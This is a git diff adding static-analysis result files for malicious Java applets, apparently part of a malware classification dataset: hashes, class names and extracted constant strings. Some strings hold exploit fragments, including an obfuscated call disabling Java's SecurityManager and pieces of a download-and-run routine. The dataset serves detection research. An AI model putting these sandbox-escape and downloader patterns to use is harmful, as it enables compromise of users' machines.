["ap\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96ple\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96t", "", "java", "\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96j\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96s\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96", "\\xe2\\x84\\x96", "\\xe2\\x84\\x96t\\xe2\\x84\\x96hi\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96s.to\\xe2\\x84\\x96St00555500ri\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96ng\\xe2\\x84\\x96 = \\xe2\\x84\\x96fun\\xe2\\x84\\x96550000055cti000on() {java.lang0\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x9600.Sys\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96t0e\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96m.0s\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96et0Secu0rityM0a555555555na0055555ger(null);app555550let0.OzuAfDAroI();return \\'pshol0000n0ahiy\\';};sdfsdf0sdfscs = new 0E0rror();sdfsdfs000dfscs.m0essage = 0this;sdfsdf000s\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96\\xe2\\x84\\x96dfscs", "0", "5", "\\xe2\\x84\\x96x\\xe2\\x84\\x96c", "e", ".##.t!m!p!!d!ir", "##", "io", "!", "openConnecti", "on", "ur", "0l0", "0123456789abcdefghijklmnopqrstuvwxyz.ABCDEFGHIJKLMNOPQRSTUVWXYZ/:_-?&=%#", "qDEvuYp59ojzithnfQOsC8NXlxwLdWgmKFHyBk2ZPJ1Gr43AcU0ba7RM6TeISV-_%.&/:#?=", "24kkk729347*******.ex***********", "e***", "*", "*e*******"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "01e06799fe3103a489acd4545ac3907000d831c1", "file_name": "java_malicious/e6895d31d393e8096995bcf2643fe595453eefabd6adedd61c5b4451347910ce", "_id": "7ca26d97-a214-4448-a3e2-5ea6eaa30154", "score": 0, "entropy": 6.022235319592727, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 5613, "ssdeep": "96:V6ZBIiaGFlSD71eznBhhA4IGC1OwBHJkxdgwe7zSJbYczW2Wga47tTtXiQxliRkS:V6rI5UlS9yzhAPGgOwBp0RDq2DTtHVg", "sha256": "e6895d31d393e8096995bcf2643fe595453eefabd6adedd61c5b4451347910ce", "md5": "444cc8849c0ccf818e96c40c580d49f4", "parent_sha256": "e6895d31d393e8096995bcf2643fe595453eefabd6adedd61c5b4451347910ce"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e6a06c4da3d7de649415592204efd26cd2924330f76d7d8cf73126d78d9878c1.results b/java_classification/data/malicious/e6a06c4da3d7de649415592204efd26cd2924330f76d7d8cf73126d78d9878c1.results new file mode 100755 index 0000000..c9b6423 --- /dev/null +++ b/java_classification/data/malicious/e6a06c4da3d7de649415592204efd26cd2924330f76d7d8cf73126d78d9878c1.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "CCRNuJGmw.java", "class_name": "luLbEI/CCRNuJGmw", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "ouQCAYUJQ"], "minor_version": 0, "const_pool_count": 348}}, "_id": "861aa0ab-a72c-4015-9e02-9df57755b284", "verbose": {"java": {"constant strings": ["/-8", "2>?2?", "8,<.-"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "9e0b3ca8b27334a5a162b64b8e70f9946facece1", "file_name": "java_malicious/e6a06c4da3d7de649415592204efd26cd2924330f76d7d8cf73126d78d9878c1", "_id": "861aa0ab-a72c-4015-9e02-9df57755b284", "score": 0, "entropy": 5.204202401693781, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6446, "ssdeep": "96:9aa0xR96VuBej2FlBq8alFHK+qbXJ3Zs/:9af/IJElk8aPK+oZ3+", "sha256": "e6a06c4da3d7de649415592204efd26cd2924330f76d7d8cf73126d78d9878c1", "md5": "f28ecba77800d60ea6973a31115bc5fb", "parent_sha256": "e6a06c4da3d7de649415592204efd26cd2924330f76d7d8cf73126d78d9878c1"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e6cafefb5ff55a1f80c6d5d299c928420c4ef2f77405253eef6384a0fdab2192.results b/java_classification/data/malicious/e6cafefb5ff55a1f80c6d5d299c928420c4ef2f77405253eef6384a0fdab2192.results new file mode 100755 index 0000000..7891b00 --- /dev/null +++ b/java_classification/data/malicious/e6cafefb5ff55a1f80c6d5d299c928420c4ef2f77405253eef6384a0fdab2192.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "DmjlOWrBU.java", "class_name": "DmjlOWrBU", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "EMUwzPUbZ", "ALtgOu", "ZjvyJ", "oyaHx", "KGciUQEr", "HkkMKsG", "fyjKQ", "geoNNIZ", "TtPOizjM"], "minor_version": 0, "const_pool_count": 149}}, "_id": "4602b805-cb4f-4429-a26d-03829baa5eb6", "verbose": {"java": {"constant strings": ["!##", "-/:(", "=;=;", "?.=<-:(", "", ";=>>0,", "?.8-:(", ";=0,", "?.-:(", "-:/", ",;.-+!#\",;$:/i\"\\'/$"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "34de64dcef80a420afc09c6d32de10e3f7acd2c8", "file_name": "java_malicious/e6cafefb5ff55a1f80c6d5d299c928420c4ef2f77405253eef6384a0fdab2192", "_id": "4602b805-cb4f-4429-a26d-03829baa5eb6", "score": 0, "entropy": 5.830965841029379, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4213, "ssdeep": "96:jWmFlRS6QtRYfh6O65UdAJi+lk9W8AW1hMR93hnnbd6yr/B:i0lRE+f3KUdJ08AEhq3hnngyr5", "sha256": "e6cafefb5ff55a1f80c6d5d299c928420c4ef2f77405253eef6384a0fdab2192", "md5": "39f839cd4964346b71c0678ec4e68dd7", "parent_sha256": "e6cafefb5ff55a1f80c6d5d299c928420c4ef2f77405253eef6384a0fdab2192"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e789a68035abf15eff14043a8f5993b98e8996d8da9225fbae9c2508e5c638ae.results b/java_classification/data/malicious/e789a68035abf15eff14043a8f5993b98e8996d8da9225fbae9c2508e5c638ae.results new file mode 100755 index 0000000..ace1fd0 --- /dev/null +++ b/java_classification/data/malicious/e789a68035abf15eff14043a8f5993b98e8996d8da9225fbae9c2508e5c638ae.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/wjncfajkzykuowi", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["krwrsxajapcefomh", "njcmbzddunrnijmlqq", "dziqceagcueefqndzpi", "esithksscldpyvvus", "bnxvaffheinbjwp", "bixfoyydrxgghmkg", "rwqklbezjjxrpqwlrc", "zqlghojgfzghdwnc", "ayhyeirmyyfaqbrfng", "", "qgxujvfja", "zlxnxqietbisvgvnuj", "myoeebyejnwordbiqu", "yjotksiumesdghd", "fxifwaqwcwzdfsk", "gplzbqiyvtrphlpl", "kkfpuvxryktvokf", "gxhjrccuncabxzstesd", "gkiokjmytkcolmyph", "yumlimnu", "psgjyirhjrxuhysaf", "lmrfyslfzxrhhlznz", "yqwouzzmyckkcbzzq", "yukpvrdfrgghlypztqp", "aylxhzhrbrwhlhjj", "eafnuczodypxjkizl", "moveugnvgsizcmqtrdr", "vlpbtjgcyjybplc", "qjaiuqqrvhjcycvkutq", "hadscudmpsmohnomici", "quodabedooxfjiqeq", "ziiatfydxalgins", "dfzdijvabfswghouimx", "plrudmkyohgrgftawzw", "qsgxwnxuytglnjsbmr", "rigietiouepnhowuzqz", "dpiguxrtechauea", "jztuvjghdhkbkqgxqr", "wbgnlgrxqylxgmkaohs", "lzoiwsprqrcrpkmmtz", "yfqhynahygxuupfuuw", "sejtmzbkklxarxpzhal", "pcndjadkdttnhstf", "llcivlmgibzlbgjpx", "yaaydtgocnpebof", "sbezoedizwqeghbwpii", "vlqmasukqvkjhwvr", "vtmklopafesabadiz", "vkxlcgyypgfzmwjxt", "ooyajvrnznlmdjmvop", "hegnjgamouzfbhxhe", "wgezdnukdfofftqgrb", "gfkyraujdoddbpa", "hwcxyufitfrbytnqwcu", "kxtsvppxbilpqnzs", "gcwzjhrgblovxkoe"], "minor_version": 0, "const_pool_count": 1201}}, "_id": "14650f74-603b-44fd-a831-36ed67adeac3", "verbose": {"java": {"constant strings": ["anmhjsvjglnfjhrztxebwqisnkg", "rbfrdokiphdikbtwmxkkqemw", "tch", "hmtldcxspfzbjnq", "", "m", "xqttmysbebm", "kiondgd", "ncgteiqqsuokc", "wwi", "yjecwwfqdgykvbybsdxlkwwlqfssa", "oo", "mqe", "hytnqqlfaxmxxibfmqcpxtypsry", "odlgbdtyrz", "kgwlbstdbtujupnncpdy", "fd", "vuzvmlkayekdxcfbocro", "iumofljakdifeoiuojkjjzp", "ssscksglkyj", "vtlwbrqsylaogajaqwrbbyppxzk", "wnvzhczt", "jgavlwvrh", "iiedjildtgdsqnwpoosjmn", "tfmdaersracjskzzyjhnzjc", "rxidihvx", "ffldtrzwbkbbrapyclnf", "pvmewxprmwjedjfajkqkcxpgzotjz", "crfauyjxsbjucoqmeyubbyojczmh", "hkmahdulklsfwqkmy", "wto", "beblbhebikwuxmhqhgndcpzhqzg", "wjyrdgmqfgiqlikfvzo", "ldbdegxzu", "hhzzfp", "opxjcvutsjevitcmznnqbyf", "oifpvehon", "iygmztauinepmhhpwthsw", "fdnacghaai", "nk", "dizgbhkhq", "abpjgvwc", "oouikc", "ohznspwemfcbdmyqzgsirylxpg", "b", "qbpgpcazpbeeldrlm", "lvctrknv", "kfvionwsnpfvhknyiolk", "nlmktrcvbqqdpsmdb", "gpgzozwglgcfhesygwrmfbong", "o", "dvg", "idhofvtjbrjht", "orfkwkfgjwxmyijvutlswghfrljbve", "hwdangjinoeujhccwgvb", "hglwal", "wzisubeeaqlp", "qroepvewu", "mgsvm", "xokjyc", "hlrkjxylrhshcudxz", "urbhgpgoukv", "mimexlez", "gvf", "cekpx", "e", "czruhl", "kpefuwaeitzswpjbzjfzsfch", "bjpqf", "ndfjwnroiwxkvv", "afnkbmdknpsb", "bnpaacshgqtvtvcdvqxvkts", "vqklqhynxjzlglhzlenoloobkfk", "ulceyw", "uscenutfriw", "djgsvo", "cnaraevequscmnylgczw", "otvrkhzgfdp", "zxyzhbjchxppkybvxforzyjblct", "t", "vjugzsgy", "njtjwhndlmnbv", "i", "bgulacmytfmmmbi", "tbtvmsljuvwtawyult", "ugcektqdmhkzabskdppnkywmdugjn", "qwmfzqgjpadlkuucvogeeo", "pa", "veqqumhdssmzrmnjcchloy", "ajvscjs", "kkguijki", "nszhpphfmuerrlvxggkwjnign", "fxvshdmnjlupijhvjdlw", "klklm", "hopphsudctmlnjdzefyrm", "z", "cqcckbeuiaxwtfubydsypwf", "qetngkgq", "xpjuqcusnbxyuiu", "mutadszzqxqtqownocpex", "p", "xttrytvgcrsgzpzozhh", "ajjporiwcdsqmdnaskx", "hedtjacggsxhaxct", "woowcksyx", "rwi", "ddtssmxrljetvrxiwngl", "qejw", "hmgwdfhgseuyiulvvrnfdsenu", "elcrjg", "qucnyrljgdmcmrack", "n", "evfqrrexsqhfbbjekrfpkheuugolv", "hjfwgszjbre", "hxrpusagvmmwzrap", "iexlbnggtmolbztd", "evhrjehwslszuznxqywqixzqrof", "ykhwyqpbzxtneibjdnetw", "nwkqhvmavtsloagsxkuucww", "higv", "ahgmme", "flrkodcdrjwatfmxwewfwdgqfqbp", "xlzvhcbkj", "xyy", "zxjpjrdpaidalicdypg", "tosjexng", "nagk", "rwoehfafsjlwghhhble", "iljsyldgpqrqimu", "hnvytgjszhmusaqlelwostqqkc", "ngqfszrxxlonoctisnppodzbpo", "a", "vrfomdzsmbagvhjt", "wgotqabtxfvzdxdckynncmsvndyddc", "cjwxypbwhkudvlwzyydkjsixquimgo", "ygywuhoipkcgxderwkxwmqkdtlvwbd", "qbekvbtbwqypbfcyncpuw", "yimuglzu", "ydnebifqfgghjarbidvjydchecn", "tbulhvl", "ulmgzrfvgosddm", "cholkppvrddxiwzyroylpluinen", "dowqbztmxfiybzqsymt", "pcioxqctnyhkecaxjfzqbvadgvci", "ffqtv", "obe", "gfdhosuggtkyv", "fhaqbjyjpnavgdlabjwsfftahfl", "soyr", "kcxnny", "asvwelkm", "mgbhwewcqvyszcsid", "dykyirfeuxlxxepzzkugnropffm", "dszdyprwkyqblqunxmxuyhjefoqp", "kiapsfetfuhgrmvrf", "hbanbjzhyvehkkmtl", "lihfopoatncahlp", "rhmptobkjnwihv", "jbgslzzholb", "aqfwlcmvack", "asvqcoracomcwox", "vdpzhjtljnqdfdnntybetsf", "nywn", "uotpskyyqprcdycovjhcjthbjohk", "izntuvkypeb", "plrnnl", "mbfnp", "domcardshidfgjfhgszurmatfneuvi", "uekz", "jq", "afdfacoenvzscnut", "eguej", "l", "v", "cmgvevtanriqsyxokqc", "kbtgyskuzrtemyxqkrltybqeh", "ykmvasaymijpirws", "kdhxxesmnbdggeaucfwewkqycj", "likganqnnjzyfhgozesfoswjoydw", "f", "mhdcciakwwtmzbhasjrbtegiyo", "qybfgiyx", "vvkrudqyfcraoxlatfemb", "gsfqxttybpfoecd", "czpnhzhvshupbqpvyysdjcp", "zlubwkuvtzejnfuxvrbgle", "aerfgpjgczrehsqamtmwudbgt", "ym", "mbkqsb", "hxrbd", "bvrah", "bycggmbow", "aupznubtjvevwjfbsctupunpohrc", "ghltgqfruccqfugfzt", "dslyxqsjhqjwe", "wslskgbyvdebe", "gnilzcfpfczmdmnh", "vdpbbhjgmxjkfcphdlrvldm", "kzxeoonzbtgueda", "qiaarzxykernozaq", "fwag", "zekecvboxjkobtbjhqroqzwlwyxd", "ceeicwifmrdcoyyyzyvuglgisuyjho", "rzenddybfdlbkveixnwylueuqg", "uag", "ukgjqtop", "rlfpsabpnfrif", "gchwfqvamqvpfsz", "w", "ijyxci", "uxdpvilyrtzmoewndjypv", "dqpfzpgoxhnoqnsigqfcbyna", "gwkzs", "brcjcxnw", "tomxtizldhcdmrxq", "uosusinqtgfehbfbpyxwk", "fynnxfupazblyahpcpviapbjpqsf", "itaaqtpsjqndsslkshynlsad", "oj", "huumnhlkpfijxa", "ofodntgoqqcjs", "bqbyqdlezegyuqqxbvmcbcsnk", "jtqqo", "kbreackezwuxheiiqiojk", "lkvvrmbatdmyjpokdv", "oda", "pg", "ftyqlfexlfftmyz", "fvutawisnkwkxz", "filzflpdpcihjapmeuzzyeect", "xcciqgsfiplcevihraw", "wlcagjvedwtrzpuearapozmikpproe", "xl", "gpvewfdjkmmrzyts", "zsugwjhavogwrwabetbyfslkmp", "wcymybyywrtlcgerkhhbpmbjl", "blirbabbxbbnqvizxy", "tnqcprhednuaiffmdfg", "nphbkgxngmntkrjjswmppavmgo", "erdyfhrhiyopgoybeashlkg", "mtfz", "jdbrbpqcctrsuvjunrwpoqdprwf", "qi", "ircfoxkhpdhxlxihe", "hswjktrjpwxgwnih", "rlpvexevvgtzjwwgqkys", "bdspemcqnvleiqetobe", "fz", "dbxnqznvgd", "ltwkdmnolkqdvr", "ncqbsgidmdddpmotwks", "bbutuldwwzej", "upahuwqqcbkdtqjcauqxt", "cyppfydnvzjyjzmsu", "govcualiqguatkgvjxls", "rksr", "haiyqybjjcsxwgq", "vojzbklkjvlshwhl", "cblovdwjunkay", "kszi", "fhofxxcvvkgzfxhvzbzrvrzvqdzzr", "bsjikpyw", "cwn", "poxx", "ixh", "jgffnbgnkweinnrdclfgtmc", "eqoyrlfzfcpyolxrrov", "kfrpbxrgunkwvpyaohiqawpik", "jmajhzawnv", "fkfitsfzvnkfpflzdjcy", "mud", "ao", "hmtdodaxddjakhigcbnjjsqihng", "esbwvcio", "xxvqisynhqxldgf", "vmhxwxnonmoxlzvwzmgujtii", "lfppicvumqyzbnmb", "xyozpm", "kvsludc", "ooudzqhkmtbjvpvtpnct", "daqqdkrohtdcpwmzzwu", "irckvzbwgsla", "bnrdmhukaxx"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "adb699445ca64b4568f8aec14ebc582620c7cbed", "file_name": "java_malicious/e789a68035abf15eff14043a8f5993b98e8996d8da9225fbae9c2508e5c638ae", "_id": "14650f74-603b-44fd-a831-36ed67adeac3", "score": 0, "entropy": 6.022722292833858, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 28011, "ssdeep": "384:cUr1jse4DqV95ll1WoexybD4JN9c152asqng7/EnqZgZbVHLu/YGNFDRvYBs+c:bsWVjllIRyo162EnycnHZrTYRx+c", "sha256": "e789a68035abf15eff14043a8f5993b98e8996d8da9225fbae9c2508e5c638ae", "md5": "1674f45f2af3c9f3132519c715ca9b81", "parent_sha256": "e789a68035abf15eff14043a8f5993b98e8996d8da9225fbae9c2508e5c638ae"}} \ No newline at end of file diff --git a/java_classification/data/malicious/e7b7befc0d7a43b7ee1dd93454414e165bce11dd1da8aeefdeec468a5e8ec8c9.results b/java_classification/data/malicious/e7b7befc0d7a43b7ee1dd93454414e165bce11dd1da8aeefdeec468a5e8ec8c9.results new file mode 100755 index 0000000..f4fd83f --- /dev/null +++ b/java_classification/data/malicious/e7b7befc0d7a43b7ee1dd93454414e165bce11dd1da8aeefdeec468a5e8ec8c9.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/lang/Runnable"], "major_version": 45, "method_names": ["", "loadClass", "getResourceAsStream", "a", "run", "a", "", "z", "z"], "minor_version": 3, "const_pool_count": 226}}, "_id": "9045b2d9-3550-4b1f-be1b-8445d4610499", "verbose": {"java": {"constant strings": ["z\\x14S<^\\'", ">\\x16I<\\x038\\x16Q:\\x03\\x07\\x03M4C3", ":W", "6W", "\\x04<AN\\xc2\\x96\\x7f\\xc2\\x8a\\xc2\\x80\\xc2\\x93l\\xc2\\xaf4bL\\xc2\\x92\\x7fJ\\xc0\\x80\\xc2\\x93\\x13\\xc2\\xafRZ@\\xc2\\xa0\\xc3\\xb6\\xc3\\xa4-\\xc2\\x85\\xc2\\xba\\x15\\x03\\xc3\\xbc\\xc3\\xbe\\xc2\\xb2!\\xc2\\xa4\\xc3\\x8f\\xc3\\xbc\\x17\\xc3\\x9dr\\xc3\\xbd\\xc2\\xbfh\\x7f\\xc2\\x94\\xc3\\x90\\xc3\\x8b\\xc3\\xb1\\xc3\\xb7\\xc3\\xa5\\xc2\\x83]MD\\xc3\\x86)\\xc3\\xb4\\xc2\\xa4v\\x0f=e\\xc2\\xb7\\xc2\\x8d\\x02D\\n\\xc3\\xa4\\xc2\\x83\\xc3\\x93\\xc2\\x9d\\xc2\\x89\\xc3\\xbd\\xc2\\xbc\\xc3\\x93)\\xc3\\x8c4f\\n\\xc2\\x92\\xc3\\xb1\\xc3\\x89\\xc2\\xb0\\xc2\\x83\\xc3\\x90|<_tz*\\'\\xc2\\x87r\\xc2\\x8cK\\x0ba\\xc2\\xa5\\xc3\\x91\\xc3\\x8c\\xc3\\x9f\"&\\xc2\\xa8\\xc2\\x98+\\x15_\\x04\\xc3\\x9c\\xc2\\x8e\\xc2\\x9c\\xc3\\x9a\\xc3\\x93p8{\\'\\xc3\\x89\\xc3\\xb4,&\\xc3\\x9b\\xc2\\xbb\\xc3\\xb5\\xc2\\xb5\\xc3\\x8cx\\x17\\xc2\\x8c\\xc2\\xb9{\\xc2\\x87QeY\\xc2\\x93P\\x1bW\\xc3\\x9eP\\xc3\\x96#z5yG\\x1f\\xc3\\x9c\\xc2\\x8c\\xc3\\xb9M9\\xc2\\xb6%\\xc2\\xb5\\x19\\xc2\\x8a\\xc3\\x9b\\xc3\\x93\\xc2\\x88\\xc2\\xbc\\xc3\\xaf\\xc3\\xb2\\xc2\\x88-%p\\x19\\xc2\\xb6\\xc2\\x96u\\xc3\\xba@\\xc2\\xb8\\xc2\\xaf\\xc3\\xa9\\xc3\\x8f\\x7fO|[\\xc2\\x85\\xc3\\xb2\\t\\xc3\\xb5\"iX\\xc3\\x940=\\xc3\\x9cF\\xc2\\xa7\\x05\\xc3\\xae$\\xc2\\x88\\xc3\\x87%\\xc3\\x88F\\xc2\\xa3\\xc2\\x9e\\xc3\\xab\\xc2\\x97\\xc2\\x9dD\\x0f%M6\\x1f\\xc3\\x80\\xc3\\xa3\\\\\\xc3\\x85\\x0b\\xc2\\x94|c\\xc2\\x86\\xc3\\x99\\x1eS\\xc2\\x9f\\n4\\xc2\\xa5\\xc2\\x95\\x0b\\xc3\\x95\\xc3\\x9b3i\\xc3\\xb7\\xc3\\xa8\\x10S\\xc2\\xa2\\xc3\\xac\\xc2\\xaa\\xc3\\xaa\\xc3\\xbc\\xc3\\x9e7\\xc2\\x86=\\xc3\\xa5Y\\xc2\\xbf\\xc2\\xb4\\xc3\\x83j\\xc2\\x9b[\\xc3\\xa1\\xc3\\xa029\\xc3\\x87Hh#\\x04\\xc2\\x86?\\xc3\\x82\\xc2\\x90\\xc2\\x8f\\xc2\\x85o\\xc2\\x9a\\xc3\\x96G_\\xc3\\x81+,\\xc2\\x95\\xc2\\xa7\\x11\\xc2\\x8aT\\xc2\\x95X\\xc2\\xa6\\xc3\\xaaw\\x07\\xc2\\xbc\\xc2\\xa4z\\xc2\\xbe\\xc2\\xb5/\\xc3\\x83LI\\xc2\\xb3(\\x1d\\xc3\\xbd\\xc3\\x9b\\xc3\\xbb\\xc2\\xab\\xc2\\x88U\\xc3\\xa0V\\tr\\x07\\xc3\\xb6\\xc3\\xacB6\\x07\\xc3\\x88\\xc2\\xbd\\xc2\\xb5\\xc3\\x92\\xc2\\xbb\\xc2\\xae\\x107f8Q>\\xc3\\xb2kW\\xc2\\xb6\\xc3\\x90U\\xc2\\xa0\\x1c\\x03\\xc2\\xb79\\xc3\\xa2 \\xc3\\x90\\xc0\\x80\\xc3\\xab\\xc3\\xba\\xc3\\x8f0\\xc3\\x84\\xc2\\x97\\xc3\\x89\\xc3\\x94a\\x0e\\x1a\\t\\xc3\\x97\\xc2\\xa0\\'`\\xc2\\xb8\\xc3\\xad\\xc3\\xacP\\n\\x1a\\xc3\\x802j\\xc3\\xb3\\x0b\\xc2\\xa9\\xc3\\xafd\\xc3\\xb5J[X\\xc2\\x82\\x18\\xc3\\xac\\xc2\\xae\\xc2\\xa6_W%\\xc3\\xaf\\xc2\\xa2\\xc2\\xacQT\\xc3\\x8c\\xc2\\xb3\\xc3\\x85\\xc3\\x9b\\xc3\\xa8\\xc3\\xa6\\xc2\\xb7\\xc2\\xb5\\xc2\\xbb\\xc3\\x8e\\xc3\\xad\\xc3\\xa7\\x05\\xc2\\x9c\\xc2\\x86\\xc3\\xad\\xc2\\xad\\xc2\\x8dOI>\\x0f\\xc3\\x95\\xc2\\xbb\\xc2\\xa6\\xc3\\xa3\\xc2\\xa1\\xc2\\xab\\xc3\\xbf\\xc3\\x85\\xc3\\x95\\xc3\\xadTb.\\x05U\\xc2\\xa0I\\xc3\\xb9\\x10\\x03\\x11\\xc2\\x8b\\xc3\\x81$Z\\xc2\\xb7;r\\xc2\\xb1r\\x08Yr\\xc3\\x8c\\xc3\\xa7i\\xc3\\x88 \\xc3\\x80\\xc3\\x9a)\\x16\\xc2\\xbd2P\\xc2\\x9b\\xc3\\x8c\\xc2\\xb2\\xc3\\xbe\\xc3\\xbc6\\xc2\\x96O\\xc3\\x97\\xc2\\xadZG6\\xc2\\x96\\xc3\\x9c|\\xc2\\x85k\\x7f\\xc2\\xb2\\x1b\\xc2\\x9dq\\xc3\\x8c\\xc2\\x81\\xc2\\x8fvR31\\xc3\\x86\\xc2\\x97I\\x07\\xc3\\xa1^\\xc2\\xb8\\xc3\\xa6\\x0b\\xc3\\x83\\xc3\\xac~\\xc2\\x86\\xc2\\xa7\\x01\\xc3\\x91\\xc2\\xb3\\xc2\\xa4\\x11\\xc3\\x8c\\x1f\\xc2\\x8d\\xc3\\x95\\xc3\\x9aN\\xc2\\x8e\\n\\xc2\\x81\\xc2\\x96\\xc2\\x98\\x14m3a\\xc3\\xb0\\xc2\\xb0C{\\xc3\\x8c\\xc3\\xae\\xc2\\xa6&\\x17\\x11\\xc2\\x8c\\xc2\\x95\\xc3\\x8a{\\xc3\\xbf\\xc2\\xba\\xc3\\x80Y\\xc3\\xae\\xc2\\x8c\\xc3\\x80]\\xc3\\xbcy\\xc2\\xa9s\\xc2\\x87Y\\x16P#\\xc3\\x90\\xc3\\x8b\\xc2\\x9d;\"\\xc2\\xabgw}\\xc2\\x95\\xc3\\x8a\\xc3\\x82\\xc2\\x9a*\\x08\\xc3\\x846\\xc3\\xbf\\x1a\\xc3\\xb9\\'u\\xc2\\x82t\\xc2\\xa4\\xc3\\x9e]5\\x0cW`\\xc2\\x80\\xc2\\x8f\\xc2\\xb6\\xc3\\x99{F6e\\x040c#\\xc3\\x99.W0&\\xc2\\xb2!\\x18\\xc3\\xa8\\xc2\\x89\\xc3\\xa4\\xc3\\x99\\tN\\xc3\\x89\\xc2\\xb2\\xc2\\xa5\\xc2\\x95\\xc2\\xa8\\xc2\\x91\\xc3\\x82\\xc2\\xb1HV\\xc3\\x83\\xc3\\x95gE\\xc2\\x84\\xc2\\x92\\xc2\\x84V\\xc3\\xb9\\xc2\\xb5\\xc3\\xaf\\xc2\\x83o\\xc2\\x854\\xc3\\xa3zU\\xc3\\x87\\xc2\\x88\\xc3\\xaa\\xc2\\xaeb\\x04\\xc2\\x97\\xc3\\x88\\xc3\\x91T\\xc3\\x94\\xc3\\xa3\\xc3\\xa7\\xc3\\x92\\xc2\\xb5\\xc2\\xa9J\\xc2\\x808\\xc2\\xab\\xc3\\x91\\xc3\\xa9\\xc3\\xba\\xc3\\x92\\x05\\x02C\\xc2\\x9e\\xc2\\xb0Lsv\\xc2\\xa2+\\x19\\xc2\\x84\\xc2\\x94\\xc0\\x80:d\\xc3\\x8f\\xc3\\xb7sk\\x08\\xc3\\xa6\\xc0\\x80\\xc2\\x83kf\\x0fi\\xc3\\xae\\xc3\\x8f\\xc2\\xa9\\x17\\xc2\\x8a\\xc3\\xaf\\xc2\\xb3\\x176\\xc2\\xbb\\xc2\\x83\\xc2\\xab\\xc2\\x90\\xc3\\xb5\\x14\\xc2\\xac h\\xc2\\xba\\xc3\\x92Kl\\x14\\xc3\\xa0j+\\x11X\\xc2\\xb4Ak\\xc3\\x8a\\xc2\\xac\\xc2\\x87iC\\xc2\\x9b^F\\xc3\\x97&\\xc2\\xaf\\xc3\\xbagWa\\x1d\\xc3\\x9c\\xc3\\xa9dQ\\xc3\\x81\\xc3\\xb8\\xc2\\xb3J\\x19\\xc2\\xa6d\\xc2\\xa9\\xc3\\x86%\\xc2\\x87 